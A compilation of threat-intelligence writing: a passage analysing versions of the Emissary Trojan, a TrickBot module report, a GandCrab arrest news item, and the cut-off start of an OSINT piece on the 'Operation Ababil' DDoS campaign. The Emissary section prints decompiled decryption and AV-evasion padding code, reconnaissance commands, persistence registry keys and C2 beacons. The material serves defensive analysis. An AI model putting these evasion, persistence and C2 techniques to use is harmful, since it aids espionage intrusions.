like screen capturing, it is still able to carry out most tasks desired by threat actors: exfiltration of files, ability to download and execute additional payloads, and gain remote shell access. It appears that threat actors have continually used this Trojan, and developed several updated versions of Emissary to remain undetected and fresh over time. We analyzed all of the known Emissary samples to determine what changes the malware author made between the different versions of the Trojan. During our analysis, we examined when each sample was created based on its compile time and produced a simple timeline to display the development efforts expended on the Emissary Trojan. It should be noted that we know some Emissary samples have been used multiple times with different configurations, so the timeline only shows when development activity took place on Emissary and should not be misconstrued to when Emissary was used in attacks. The timeline shows that the Emissary Trojan was first created (version 1.0) in May 2009 and quickly received an update that resulted in version 1.1 in June 2009. The Trojan did not receive much in the form of updates until September 2011 when the author released version 2.0. Version 2.0 received one update in October 2013 before the malware author released version 3.0 in December 2014. The malware author released version 4.0 in March 2015, but curiously created a version 3.0 sample afterwards on June 26, 2015, which was out-of-sequence from the incrementing versioning. Between August and November 2015 the malware author creates several new versions of Emissary, specifically 5.0, 5.1, 5.3 and 5.4 in a much more rapid succession compared to development process in earlier versions. The out-of-sequence version 3.0 appears to be an early variant of version 5.0 based on significant similarities that are not seen in the original version 3.0 and other earlier versions of Emissary. One campaign code associated with the out-of-sequence version 3.0 sample was “3test”, suggesting the malware author created it for testing purposes. The other campaign code associated with the out-of-sequence sample was “IC00001”, which could denote an attack payload as it appears to be a plausible code to describe a campaign. While this may be coincidental, the out-of-sequence version 3.0 sample was created ten days after we published the Operation Lotus Blossom paper that exposed the Elise Trojan that is closely related to Emissary. It is possible that the threat actors were prompted to make malware changes in response to our research. Regardless of causation, the rapid development of new versions of Emissary suggests that the malware authors are making frequent modifications to evade detection, which as a corollary suggests the threat actors are actively using the Emissary Trojan as a payload in attacks. ## Emissary Changelog In this section, we discuss the changes observed between each version of Emissary. As this section is focused on changes, the features and functionality are the same between Emissary versions unless otherwise mentioned. ### Version 1.0 - **Date:** 5/12/2009 - **SHA256:** a7d07b92e48876e2195e5d8769a47cf0a237e11ac304e41b14fc36042b0d9484 - **Original Name:** WUMsvc.dll - **Initial Release:** The initial loader Trojan writes Emissary to %SYSTEM%\WSPsvc.dll and installs it as a service, which will run the exported function “ServiceMain” within the Emissary Trojan to carry out its functionality. Configuration data is stored in the last 1024 bytes of the payload, from which the Trojan will extract an 896 byte structure. The configuration is decrypted with an algorithm that uses the XOR operation on each byte using the value at a different offset within the ciphertext. The code will create the following registry keys: 1. HKEY_CLASSES_ROOT\Shell.LocalServer\CheckCode 2. HKEY_CLASSES_ROOT\Shell.LocalServer\CheckID Emissary uses the “CheckCode” registry key to store the encrypted configuration for the Trojan, while it stores a GUID that Emissary uses to uniquely identify the compromised host in the “CheckID” key. The malware performs initial system information gathering and saves data to a file named TMP2548. The initial gathering relies on a combination of the following commands executed by the command prompt: 1. ECHO VER 2. VER 3. ECHO IPCONFIG /ALL 4. IPCONFIG /ALL 5. ECHO NET LOCALGROUP ADMINISTRATORS 6. NET LOCALGROUP ADMINISTRATORS 7. ECHO NET START 8. NET START 9. ECHO GPRESULT /Z 10. GPRESULT /Z 11. ECHO GPRESULT /SCOPE COMPUTER /Z 12. GPRESULT /SCOPE COMPUTER /Z 13. ECHO SYSTEMINFO 14. SYSTEMINFO Emissary parses command and control responses for “instru”, which will precede a GUID value that designates the command the C2 server wishes to execute on the system. The command handler does not use a nested if/else or switch statement like most malware families; instead, Emissary creates a structure that contains all of the available command GUIDs that it will iterate through each time the C2 supplies a GUID in order to determine which command the operator wishes to execute. Emissary can include up to 32 different commands within this data structure, but it appears the author has decided to include six commands within the Trojan. The following denotes the command handler structure used by Emissary v1.0: ```c struct EMISSARY_COMMAND { CHAR guid[40]; DWORD sub_function; DWORD arg1_subfunction; DWORD arg2_subfunction; DWORD arg3_subfunction; }; struct commandHandler { DWORD number_of_commands; DWORD unused; struct EMISSARY_COMMAND cmd_0; struct EMISSARY_COMMAND cmd_1; struct EMISSARY_COMMAND cmd_2; struct EMISSARY_COMMAND cmd_3; struct EMISSARY_COMMAND cmd_4; struct EMISSARY_COMMAND cmd_5; }; ``` **Table 1: Emissary command handler** | Command | Description | |---------|-------------| | bac84b12-5b0b-491f-a885-8667d156394f | Upload file. | | 3d8313cc-53ca-4751-bbbf-ea5f914f8e65 | Download file. | | db0e93e7-b46c-4cba-81f1-ec70da57dc19 | Update config. C2 specifies files as: p1 = C2 server 1, p2 = C2 server 2, p3 = C2 server 3, p4 = Sleep Interval, p5 = System Identifier (computer name), p6 = GUID for beacon. | | 2e382e51-3089-4293-8454-5eccb253eb54 | Executes a specified command. | | a57db08a-bf97-4b43-b27d-157e62e2fd74 | Create remote shell. | | eab5c1ab-a497-4fc2-bbe0-049be45d6f2d | Update Trojan with new executable. | The Emissary version 1.0 beacon to the C2 server appears as follows: ``` GET /VSNET/default.aspx HTTP/1.1 User-Agent: Mozilla/4.0 Host: 193.34.144[.]21 Cookie: guid=af44f802-ba5c-4b3c-8c6b-2ea411058678; op=1635b097-ffe4-4711-89e6-7f8c7f4cdca6 ``` **Date:** 5/31/2009 **SHA256:** e6c4611b1399ada920730686395d6fc1700fc39add3d0d40b4f784ccb6ad0c30 **Original Name:** WUMsvc.dll Removed checks for “//” and “/” in the update configuration command when updating the three C2 servers. ### Version 1.1 - **Date:** 6/5/2009 - **SHA256:** 931a1284b11a3997c7a99076d582ed3436aa30409dc73bd763436dddd490f9cb - **Original Name:** WUMsvc.dll - **Bug fixes:** - Added code to make sure the content received from the C2 server matches the “Content-Length” value in the HTTP response. - Code added to allow for the download of more than 524,288 bytes. The Emissary v1.1 C2 beacon appears as follows, which has not changed since version 1.0: ``` GET /eng/comfunc/comfunc/default.aspx HTTP/1.1 User-Agent: Mozilla/4.0 Host: 137.189.145.1 Cookie: guid=af44f802-ba5c-4b3c-8c6b-2ea411058678; op=1635b097-ffe4-4711-89e6-7f8c7f4cdca6 ``` ### Version 2.0 - **Date:** 9/15/2011 - **SHA256:** 5edf2d0270f8e7eb5be3476802e46c578c4afc4b046411be0806b9acc3bfa099 - **Original Name:** EmissaryDll.dll Version 2.0 was a significant re-write of the Emissary Trojan. The configuration data for the Trojan is still saved to the registry, but the registry key has changed to: `SOFTWARE\Microsoft\VBA\VbaData` The configuration structure also changed in size to 464 bytes. The Emissary configuration is now encrypted using a custom algorithm that uses the “srand” function to seed the “rand” function using a value of 2563. This seed value causes the “rand” function to generate the same values each time, which Emissary will use as a key along with the XOR operation. The configuration now contains the version number of Emissary, instead of the version being hardcoded into the Trojan. This version of Emissary keeps track of which C2 location within its configuration that it has been communicating with by storing the index of the C2 server (1, 2, or 3) in the following registry key: `SOFTWARE\Microsoft\VBA\VbaList` This version of Emissary moves away from the command handler using the structure and moves to a nested if/else statement for less complicated command handling; however, the command GUID and commands themselves are unchanged. The Emissary version 2.0 beacon changed slightly from previous versions, specifically the removal of the User-Agent field and the use of a lowercase “h” in the “Host” field. The following is an example of the version 2.0 beacon, which contains the same GUID and “op” values: ``` GET /0test/test/default.aspx HTTP/1.1 host: 163.20.127.27 Cookie: guid=af44f802-ba5c-4b3c-8c6b-2ea411058678; op=1635b097-ffe4-4711-89e6-7f8c7f4cdca6; ``` Version 2.0 also introduces a debug message logging system that includes verbose error messages that are accompanied by an error ID number. Error messages are written to the file %TEMP%\em.log. The following is a list of all possible debug messages: ``` Source - Error ID - Debug Message emissarydll.cpp - 0x30 - InitApp() - Event already exists emissarydll.cpp - 0x35 - InitApp() - Event create successful emissarydll.cpp - 0x3b - InitApp() - create work thread shell.cpp - 0x30 - SendShellOutputThread - PeekNamedPipe - Error : 0x%08x shell.cpp - 0x3e - SendShellOutputThread() : Timeout shell.cpp - 0x53 - SendShellOutputThread - ReadFile - Error : 0x%08x shell.cpp - 0x5b - SendShellOutputThread - send - Error : 0x%08x shell.cpp - 0x62 - SendShellOutputThread() : thread exit shell.cpp - 0x7f - RecvShellCmdThread - recv - Error : 0x%08x shell.cpp - 0x89 - RecvShellCmdThread - WriteFile - Error : 0x%08x shell.cpp - 0x8f - RecvShellCmdThread() : thread exit shell.cpp - 0xeb - Error occurred : %s [%d] shell.cpp - 0xfa - TerminateThread Input Thread shell.cpp - 0x100 - TerminateThread Output Thread shell.cpp - 0x118 - SocketShell - Fail To Create Reverse Socket shell.cpp - 0x12f - SocketShell - Fail To Generate Reverse Shell shell.cpp - 0x13a - SocketShell - SocketShell - Fail To Generate Reverse Shell shell.cpp - 0x13e - SocketShell - Create Reverse Shell Thread OK config.cpp - 0x38 - RegCreateKeyEx error : %0x08x config.cpp - 0x46 - RegSetValueEx error : %0x08x config.cpp - 0x5e - ReadConfig - RegCreateKeyEx error : 0x%08x config.cpp - 0x66 - ReadConfig - RegQueryValueEx error : 0x%08x config.cpp - 0xab - find user: %s config.cpp - 0xbc - can not find proxy config.cpp - 0xc7 - get ProxySetting failed config.cpp - 0xd4 - find proxy server : %s run.cpp - 0x75 - InitConfig: [g_ServerPath:%s] [g_ServerName:%s] [g_port:%d] [g_ServerUrl:%s] run.cpp - 0x9d - InitConfig: [g_DelayTime:%d] run.cpp - 0xbe - get proxy the last time used:%s run.cpp - 0xc3 - server index:%d run.cpp - 0xd9 - RetryTimes = %d run.cpp - 0xec - connect %s error :%s httpclient.cpp - 0x98 - ASP.NET_SessionId length exception:[%d][%s] httpclient.cpp - 0xd0 - ******not connected ! httpclient.cpp - 0xf4 - read head error : %s httpclient.cpp - 0x102 - body length = 0 httpclient.cpp - 0x13d - decrypt error httpclient.cpp - 0x211 - instruction : <instruction> httpclient.cpp - 0x21d - no instruction guid httpclient.cpp - 0x22c - OP_DOWNLOAD no local file name httpclient.cpp - 0x23b - OP_UPLOAD no local file name httpclient.cpp - 0x249 - OP_UPLOAD no local file name httpclient.cpp - 0x242 - OP_UPLOAD no local file name httpclient.cpp - 0x25b - OP_EXECUTE no cmd list httpclient.cpp - 0x262 - OP_EXECUTE no timeout httpclient.cpp - 0x2b4 - OP_SHELL ip httpclient.cpp - 0x2bb - OP_SHELL port httpclient.cpp - 0x2dd - OP_CHANGECONFIG server1 httpclient.cpp - 0x2e4 - OP_CHANGECONFIG server2 httpclient.cpp - 0x2eb - OP_CHANGECONFIG server3 httpclient.cpp - 0x2f2 - OP_CHANGECONFIG timestr httpclient.cpp - 0x2f9 - OP_CHANGECONFIG namestr httpclient.cpp - 0x300 - OP_CHANGECONFIG guid httpclient.cpp - 0x321 - not connected httpclient.cpp - 0x361 - send msg error httpdoinstruction.cpp - 0x28 - DownloadFile - LocalFileName=%s httpdoinstruction.cpp - 0x5c - download file http head:%s httpdoinstruction.cpp - 0x7a - download file ok httpdoinstruction.cpp - 0xac - UploadFile - LocalFileName=%s httpdoinstruction.cpp - 0xb4 - DownloadFile - Error - Open File [%S][0x%08x] httpdoinstruction.cpp - 0xc7 - UploadFile:TotalLength=%d httpdoinstruction.cpp - 0x124 - download file http head:%s ``` **Date:** 10/24/2013 **SHA256:** 9dab2d1b16eb0fb4ec2095d4b4e2a3ad67a707ab4f54f9c26539619691f103f3 **Original Name:** NetPigeon_DLL.dll This update to Emissary allowed the Trojan to run as a service. The configuration now contains settings for the Emissary service, which the Trojan will store in and access from the following registry keys: - SOFTWARE\Microsoft\VBA\Serv -> Service Name - SOFTWARE\Microsoft\VBA\VbaList -> Binary Path for the Service Also, this version of Emissary was created using Microsoft Foundation Classes (MFC) to carry out a majority of its functionality. For instance, instead of manually building an HTTP request as in previous versions, this version uses the MFC functions to create the HTTP request and send it to the C2 server: - CInternetSession::CInternetSession - CInternetSession::GetHttpConnection - CHttpConnection::OpenRequest - CHttpFile::AddRequestHeaders - CInternetSession::SetCookie - CHttpFile::SendRequest Using these classes creates a significantly different HTTP request sent to the C2 server, but the functionality of obtaining instructions from the C2 is the same. The following is an example of a beacon generated by this sample, which contains the same “op” value and has additional fields within the HTTP header: ``` GET /lightserver/Default.aspx HTTP/1.0 Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: groupspace.findhere.org Cookie: guid=8E550BBD-F5DB-4471-BBC7-E8768BD5003E; op=1635b097-ffe4-4711-89e6-7f8c7f4cdca6 ``` The logging functionality within this update no longer includes error ID values, but still contains verbose debug messages that are written to a file named %TEMP%\msmqinst.ax. ### Version 3.0 - **Date:** 12/24/2014 - **SHA256:** dcbeca8c92d6d18f2faf385e677913dc8abac3fa3303c1f5cfe166180cffbed3 - **Original Name:** Generic.dll - **Bug fixes:** - Added a function to the configuration update command that checks to see if the C2 provided a new sleep interval at offset 460 and uses the interval stored in the VbaData registry key if its missing. This fixes the bug that would not allow the sleep interval to update correctly. ### Version 4.0 - **Date:** 3/26/2015 - **SHA256:** 5171c9a593389011da4d72125e52bf7ef86b2da7fcd6c2a2bc95467afe6a1b58 - **Original Name:** Generic.dll This version of Emissary includes both the installation and loading functionality along with the Emissary functional code in the same file. The installation and loading portion of the Trojan is called using an exported function named “Setting”, which moves the file to: `%TEMP%\Remdisk.dll` The loading portion of this version of Emissary checks the permissions of the current user and either installs Emissary as a service or as a standalone Trojan. To install as a service, the loader will enumerate the services on the system looking for services running under the “netsvcs” group, and it will attempt to hijack the first “netsvcs” service by replacing the “ServiceDLL” parameter to point to the Emissary DLL. For instance, during the analysis period, the installation code changed the following registry key of the AppMgmt: - HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters\ServiceDll: "%SystemRoot%\System32\appmgmts.dll" to - HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters\ServiceDll: "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Remdisk.dll" If the user does not have permissions to add a service, the installation routine attempts to add persistence by creating the following registry key that will run the functional code within Emissary via an exported function named “DllRegister”: - Software\Microsoft\Windows\CurrentVersion\Run\Resolves: "Rundll32.exe C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Remdisk.dll,DllRegister" This version of Emissary has its configuration appended to the end of the DLL, specifically starting at offset 0xc600. The following code accesses the configuration embedded within the DLL and decrypts it using a single byte XOR algorithm using 65 as the key: ```c SetFilePointer(v2, 0xC600, 0, 0); ReadFile(h_emissary_dll_file, buffer_for_config, 0x1D0u, &NumberOfBytesRead, 0); iteration_count = 0; do *(iteration_count++ + buffer_for_config) += 65; while (iteration_count < 0x1D0); ``` This algorithm differs from the algorithm introduced in Emissary version 2.0 that used the srand and rand functions to generate a key to use in conjunction with the XOR operation. With the configuration embedded within the Emissary DLL, each Emissary version 4.0 sample will have a different hash as the configuration data changes. The network beacon sent from Emissary version 4.0 is the same as other previous versions starting at version 2.0, as seen in the following: ``` GET /lightserver/Default.aspx HTTP/1.0 Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: 210.209.121.92 Cookie: guid=7DA53AE4-C155-40b3-8EB3-60C4FCE99025; op=1635b097-ffe4-4711-89e6-7f8c7f4cdca6 ``` ### Version 3.0: Out-of-sequence - **Date:** 6/25/2015 - **SHA256:** 70bed57bc3484fe5dbcf3c732bd7b11f80a742138f4733bc7e9b6d03e721da4a - **Original Name:** IISDLL.dll - **Major Overhaul:** The compilation time of one sample of Emissary version 3.0 on June 25, 2015 appears out of order, as it occurs after the compilation of Emissary version 4.0. The differences between this out of order sample compared to the other known version 3.0 sample, as well as version 4.0 for that matter, include a dramatic change in configuration storage and the handling of commands. Also, the files stored on the system have different names than Emissary versions in the past, which are: 1. %TEMP%\000IISA758C8FEAE5F.TMP -> Log file 2. %APPDATA%\LocalData\75BD50EC.DAT -> Configuration file 3. %APPDATA%\LocalData\A08E81B411.DAT -> Emissary DLL This version of Emissary is designed to be injected into an Internet Explorer process by its associated loader Trojan, which marks the first time Emissary executes through DLL injection. This version of Emissary also has a different configuration structure than prior versions. The configuration is no longer stored in the registry; rather it is saved to a file named 75BD50EC.DAT. The Emissary DLL will skip to offset 0x488 within this file and read the next 132 bytes, which it will decrypt with a new algorithm as seen in the following: ```c SetFilePointer(h_config_file_1, 0x488, 0, 0); ReadFile(h_config_file, buffer_for_config, 132u, &NumberOfBytesRead, 0); CloseHandle(h_config_file); srand(0xA03u); iteration_count = 0; do *(buffer_for_config + iteration_count++) ^= rand() % 128; while (iteration_count < 0x84); ``` The configuration structure has also changed as well, with Emissary now using the following structure: ```c struct emissary_new_config { WORD Emissary_version_major; WORD Emissary_version_minor; CHAR[36] GUID_for_sample; WORD Unknown1; CHAR[128] Server1; CHAR[128] Server2; CHAR[128] Server3; CHAR[128] CampaignName; CHAR[550] Unknown2; WORD Delay_interval_seconds; }; ``` This version of Emissary also introduced a new command handler that uses number-based commands instead of the GUID commands seen in prior versions of Emissary. The functionality of the commands is the same; however, the commands themselves are invoked using a number. **Table 2: New Emissary command handler** | Command | Description | |---------|-------------| | 102 | Upload a file to the C2 server. | | 103 | Executes a specified command. | | 104 | Download file from the C2 server. | | 105 | Update configuration file. | | 106 | Create a remote shell. | | 107 | Updates the Trojan with a new executable. | The network beacon sent from this version of Emissary is very similar to the beacon first introduced in Emissary version 2.0; however, the “op” value of “101” is hardcoded for the beacon and replaces the GUID based op designator to match the new command handler. The following is an example of the network beacon generated by this version of Emissary: ``` GET /default.aspx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: 101.55.33.92 Cache-Control: no-cache Cookie: guid=cae5e213-395a-4023-9a12-f78d3c4718e5; op=101 ``` ### Version 5.0 - **Date:** 8/25/2015 - **SHA256:** c145bb2e4ce77c79aa01de2aec4a8b5b0b680e23bceda2c230903b5f0e119634 - **Original Name:** WinDLL.dll Emissary version 5.0 closely resembles the out-of-order version 3.0 sample, which suggests that the malware author just forgot to change the version number of the out of order sample. While the configuration and Emissary DLL filenames used by the version 5.0 Emissary sample are the same as the out-of-order version 3.0 sample, the log file name differs but only slightly, as seen in the following list of related files: 1. %TEMP%\000A758C8FEAE5F.TMP -> Log File 2. %APPDATA%\LocalData\75BD50EC.DAT -> Configuration file 3. %APPDATA%\LocalData\A08E81B411.DAT -> Emissary DLL 4. %APPDATA%\LocalData\ishelp.dll -> Loader DLL Version 5.0 uses numbers within its command handler and the same configuration structure as the out-of-order version 3.0. The only major change in 5.0 is the ability to obtain a compromised system’s external IP address by performing an HTTP GET request to “http://showip.net/index.php”. The code will parse the response from this webserver for the following to obtain the system’s IP address: ``` <input id="checkip" type="text" name="check_ip" value="[IP address parsed]" /> ``` The SID value sent from the C2 server is encrypted using an algorithm that uses the XOR operation on the data using 0x76 as the key on the first byte and the resulting cleartext byte as the key on the next byte and so on. The network beacon sent from this version of Emissary visually resembles the out-of-order version, with the addition of a field “SHO” that contains the IP address of the compromised host. The following is an example of the Emissary version 5.0 network beacon, which is also the same in versions 5.1, 5.3 and 5.4: ``` GET /default.aspx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: 101.55.33.95 Cache-Control: no-cache Cookie: guid=8cdef38c-808a-4e29-af6e-7386f02d28f1; op=101; SHO=172.16.107.130 ``` ### Version 5.1 - **Date:** 9/29/2015 - **SHA256:** 375190cc8e0e75cf771d66347ea2a04b6d1b59bf2f56823eb81270618f133e2d - **Original Name:** WinDLL.dll For version 5.1 the malware author took out the exception handling in the Upload File command and obfuscated two strings within the Trojan to avoid detection. The strings exist in the Trojan in encrypted form and are decrypted using an algorithm that uses addition to each byte of ciphertext, using 65 (“A”) as a key. **Date:** 10/14/2015 **SHA256:** e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538 **Original Name:** WinDLL.dll In an attempt to avoid detection based on PE header hashes, version 5.1 was recompiled without making any changes. ### Version 5.3 - **Date:** 11/7/2015 - **SHA256:** 29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051 - **Original Name:** WinDLL.dll Emissary 5.3 moved some code used to create the remote shell out of a sub-function in an attempt to evade signatures used to detect the remote shell creation. ### Version 5.4 - **Date:** 11/23/2015 - **SHA256:** 69b1d5454abe2475257defd9962a24a92411212c4f592de8765369a97f26c037 - **Original Name:** WinDLL.dll Version 5.4 of Emissary was the basis for the blog “ELISE: Security Through Obesity” by Michael Yip of PWC. This blog provides a great analysis of this version of Emissary and we highly suggest reading it to become familiar with the Trojan. There is one difference in the functional code between Emissary versions 5.3 and 5.4, which involves the removal of the command ‘107’ used to update the Trojan. The string ‘107’ still exists within the Trojan; however, the command handler does not check the C2 response for this command and the code used to update the Trojan has been removed. The major difference between Emissary version 5.4 and all previous versions is how the Trojan is saved and loaded. First, the filenames of the various components of Emissary changed to the following; however, the filename for debug logs has not changed: 1. %APPDATA%\Programs\Syncmgr.dll -> Loader Trojan 2. %APPDATA%\Programs\60HGBC00.DAT -> Configuration File 3. %APPDATA%\Programs\WEB2013BW6.DAT -> Emissary Trojan 4. %TEMP%\000A758C8FEAE5F.TMP -> Log file In addition to file name changes, the biggest change involves the Loader Trojan (Syncmgr.dll) appending junk data to the end of the Emissary DLL file to make incredibly large files. The reason for creating such large files is to trick antivirus applications into not scanning the file, as it could exceed the maximum size of files the antivirus can scan (even VirusTotal has a maximum file size of 128MB). For instance, the following pseudo code contains two loops that will end up appending 524,288,000 bytes to the end of file, resulting in a DLL that exceeds 500MB in size: ```c WriteFile(hFile, buf_EmissaryDllFromResource, nNumberOfBytesToWrite, &nNumberOfBytesToWrite, 0); buf_junkData = 0; ret_time = time(0); srand(ret_time); for (i = 0; i < 51200; ++i) { for (j = 0; j < 640; ++j) { random_byte = rand() % 255; offset_in_buff_junkData = &buf_junkData + 16 * j; dword_junkData = 0x1010101 * random_byte; *offset_in_buff_junkData = dword_junkData; *(offset_in_buff_junkData + 1) = dword_junkData; *(offset_in_buff_junkData + 2) = dword_junkData; *(offset_in_buff_junkData + 3) = dword_junkData; } WriteFile(hFile, &buf_junkData, 0x2800u, &nNumberOfBytesToWrite, 0); } ``` With the new filenames, malware persistence is achieved via the following registry key: - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Syncmgr: "rundll32.exe "C:\Documents and Settings\[username]>\Application **Date:** 11/24/2015 **SHA256:** bfceccdd553c7e26006bb044ea6d87e597c7cce08218068e31dc940e9f55b636 **Original Name:** WinDLL.dll In another attempt to avoid detection based on PE header hashes, the Trojan was recompiled without making any changes. ## Conclusion The actors using Emissary, who were previously reported as behind Operation Lotus Blossom, have been active for at least seven years in Southeast Asia. They are persistent, evolve over time, and have enough resources to have multiple custom RATs that receive regular updates. The targeting is largely military or government, with some cases of higher education and high tech companies. They also have the ability to select and use appropriate decoys in multiple Asian languages that appear legitimate. The use of Emissary appears to be focused only on Taiwan and Hong Kong, with regular malware updates to avoid detection and to increase the odds of success. Of particular note, there is an interesting coincidence between the timing of the publication of our Operation Lotus Blossom report and a flurry of Emissary updates. The first occurred ten days after publication and was followed by updates over increasingly shorter time frames, starting at roughly every three months and progressing to monthly by the final version discussed here. Until that publication, according to our research Emissary was updated roughly every two years. This indicates the threat actors may take note of threat intelligence reporting and are fully capable of making immediate changes when deemed necessary. In addition to the malware evolution, the actors also shifted from solely spear-phishing targets with attachments to also compromising legitimate websites to host malware. The consistent updates to the Trojan and the shift in the actor’s TTPs suggests that this threat will continue to use Emissary in future espionage related attacks.
# TrickBot Banking Trojan Adapts with New Module **Jason Davison** March 21, 2018 Since inception in late 2016, the TrickBot banking trojan has continually undergone updates and changes in attempts to stay one step ahead of defenders and internet security providers. While TrickBot has not always been the stealthiest trojan, its authors have remained consistent in the use of new distribution vectors and development of new features for their product. On March 15, 2018, Webroot observed a module (tabDll32 / tabDll64) being downloaded by TrickBot that has not been seen in the wild before this time. It appears that the TrickBot authors are still attempting to leverage MS17-010 and other lateral movement methods coupled with this module in an attempt to create a new monetization scheme for the group. ## You can teach an old bot older tricks ### Analyzed samples - 0058430e00d2ea329b98cbe208bc1dad – main sample (packed) - 0069430e00d2ea329b99cbe209bc1dad – bot 32 bit ### Downloaded Modules - 711287e1bd88deacda048424128bdfaf – systeminfo32.dll - 58615f97d28c0848c140d5e78ffb2add – injectDll32.dll - 30fc6b88d781e52f543edbe36f1ad03b – wormDll32.dll - 5be0737a49d54345643c8bd0d5b0a79f – shareDll32.dll - 88384ba81a89f8000a124189ed69af5c – importDll32.dll - 3def0db658d9a0ab5b98bb3c5617afa3 – mailsearcher32.dll - 311fdc24ce8dd700f951a628b805b5e5 – tabDll32.dll ## Behavioral Analysis Upon execution, this iteration of TrickBot will install itself into the `%APPDATA%\TeamViewer\` directory. If the bot has not been executed from its installation directory, it will restart itself from this directory and continue operation. Once running from its installation directory, TrickBot will write to the usual group_tag and client_id files along with creating a “Modules” folder used to store the encrypted plug and play modules and configuration files for the bot. Many of the modules shown above have been previously documented. The systeminfo and injectDll module have been coupled with the bot since its inception. The mailsearcher module was added in December 2016 and the worm module was discovered in late July 2017. The module of interest here is tabDll32 as this module has been previously undocumented. Internally, the module is named spreader_x86.dll and exports four functions similar to the other TrickBot modules. ### Spreader_x86.dll When loading the new TrickBot module in IDA, you are presented with the option of loading the debug symbol filename. This gives us a preview of how the TrickBot developers structure new modules that are currently under development. When digging deeper into the module, it becomes evident that this module is used to spread laterally through an infected network making use of MS17-010. This module appears to make use of lateral movement in an attempt to set up the embedded executable as a service on the exploited system. Additionally, the TrickBot authors appear to be still developing this module as parts of the module's reflective DLL injection mechanism are stolen from GitHub. ### SsExecutor_x86.exe The second phase of the new module comes in the form of an executable meant to run after post exploitation. When run, this executable will iterate over the user profiles in the registry and goes to each profile to add a link to the copied binary to the startup path. This occurs after lateral movement takes place. ### ScreenLocker_x86.dll Similarly, to the other TrickBot modules, this module was written in Delphi. This is the first time TrickBot has shown any attempt at “locking” the victim's machine. This module exports two functions, “MyFunction” and a reflective DLL loading function. “MyFunction” appears to be the work in progress. If the TrickBot developers are attempting to complete this locking functionality, this generates interesting speculation around the group’s business model. Locking a victim’s computer before you are able to steal their banking credentials alerts the victim that they are infected, thus limiting the potential for credit card or bank theft. However, extorting victims to unlock their computer is a much simpler monetization scheme. It is notable that this locking functionality is only deployed after lateral movement, meaning that it would be used to primarily target unpatched corporate networks. In a corporate setting (with unpatched machines), it is highly likely that backups would not exist as well. The authors appear to be getting to know their target audience and how to best extract money from them. On a corporate network, where users are unlikely to be regularly visiting targeted banking URLs, exfiltrating banking credentials is a less successful money-making model compared to the locking of potentially hundreds of machines. The TrickBot authors continue to target various financial institutions across the world, using MS17-010 exploits in an attempt to successfully laterally move throughout a victim’s network. This is being coupled with an unfinished “screenLocker” module in a new possible attempt to extort money from victims. The TrickBot banking trojan remains under continual development and testing in a constant effort by its developers to stay one step ahead of cybersecurity professionals.
# Belarus Authorities Arrest GandCrab Ransomware Operator The Ministry of Internal Affairs of Belarus has announced the arrest of a 31-year-old man who served as an affiliate in the infamous GandCrab ransomware-as-a-service program. “Office “K” of the Ministry of Internal Affairs, in cooperation with the Cyber police of Great Britain and Romania, identified a member of an international hacker group that used during 2017-2018, one of the most famous ransomware virus “GandCrab,”” reads a rough English translation of the press release. “On their account – more than 54 thousand infected computers around the world, 165 of which belong to the citizens of Belarus.” Vladimir Zaitsev, deputy head of the High-Tech Crime Department of the Ministry of Internal Affairs, says the hacker, who has yet to be named, is a 31-year-old resident of Gomel who had no prior convictions. He allegedly infected more than 1,000 computers and demanded the equivalent of $1,200 for decrypting each one. “Access to the admin panel for managing the ransomware botnet was carried out via the darknet, which allowed the attacker to remain anonymous for a long time,” the news release states. “Part of the profits was transferred to the administrators (operators) of the server he leased,” Zaitsev said. The hacker’s victims span several countries, including India, the US, Ukraine, UK, Germany, France, Italy, and Russia – where most of his victims resided. Last week, Europol announced that the No More Ransom decryption tool repository had amassed over 4.2 million visitors from 188 countries as the service turned four years old. The agency said the repo helped save an estimated $632 million for ransomware victims worldwide. Bitdefender calculates that its GandCrab decryptors alone are responsible for 12% of that figure.
# Dissecting 'Operation Ababil' - an OSINT Analysis Provoked by a questionable online video posted on YouTube, Muslims from around the world united in an apparent opt-in botnet crowdsourcing campaign aiming to launch a DDoS (denial of service attack) against YouTube for keeping the video online, and against several major U.S. banks and financial institutions. Dubbed "Operation Ababil" and operated by the Izz ad-Din al-Qassam a.k.a Qassam Cyber Fighters, the campaign appeared to have had a limited, but highly visible impact on the targeted websites. Just like in other crowdsourced opt-in botnet campaigns, political sentiments over the attribution element seem to have orbited around the notion that it was nation-sponsored by the Iranian government. What's so special about this attack? Did the individuals behind it possess sophisticated hacking or coding abilities? Was the work of hacktivists crowdsourcing bandwidth, or was it actually sponsored by the Iranian government? Can we even talk about attack attribution given that the group claiming responsibility for the attacks doesn't have a strong digital fingerprint? In this post, I'll perform an OSINT (open source intelligence) analysis aiming to expose one of the individuals part of the group that organized the campaign, spread their propaganda message to as many Muslim Facebook groups as possible, and actually claim responsibility for the attacks once they took place. The campaign originally began with a message left on Pastebin.com by the Qassam Cyber Fighters group announcing "Operation Ababil": > "Operation Ababil, The second week. In the previous announcements we stated that we will not tolerate insulting the exalted character of the prophet of mercy and kindness. Due to the insult, we planned and accomplished a series of cyber operations against the insulting country's credit and financial centers. Some U.S. officials tried to divert people's attention from the subject and claimed that the main aim of the operation was not to deal with insults but it had other intentions. The officials claimed that certain countries have taken these measures to solve their internal problems. We strongly reject the American officials' insidious attempts to deceive public opinion. We declare that the kindness and love of Muslims and free-minded people of the world to the great prophet of Islam is much more than their violent anger be deflected and controlled by such deceptive tricks. Insult to a prophet is not acceptable especially when it is the Last prophet Muhammad (Peace Be upon Him). So as we promised before, the attack will be continued until the removal of that sacrilegious movie from the Internet. Therefore, we suggest a timetable for this week's attacks. Knowing which times the banks and other targets are out of service, the customers of targeted sites also can manage to do their jobs as well and have a rest while the specific organization is under attack. We shall attack for 8 hours daily, starting at 2:30 PM GMT, every day. We repeat again the attacks will continue for sure till the removal of that sacrilegious movie. We invite all cyberspace 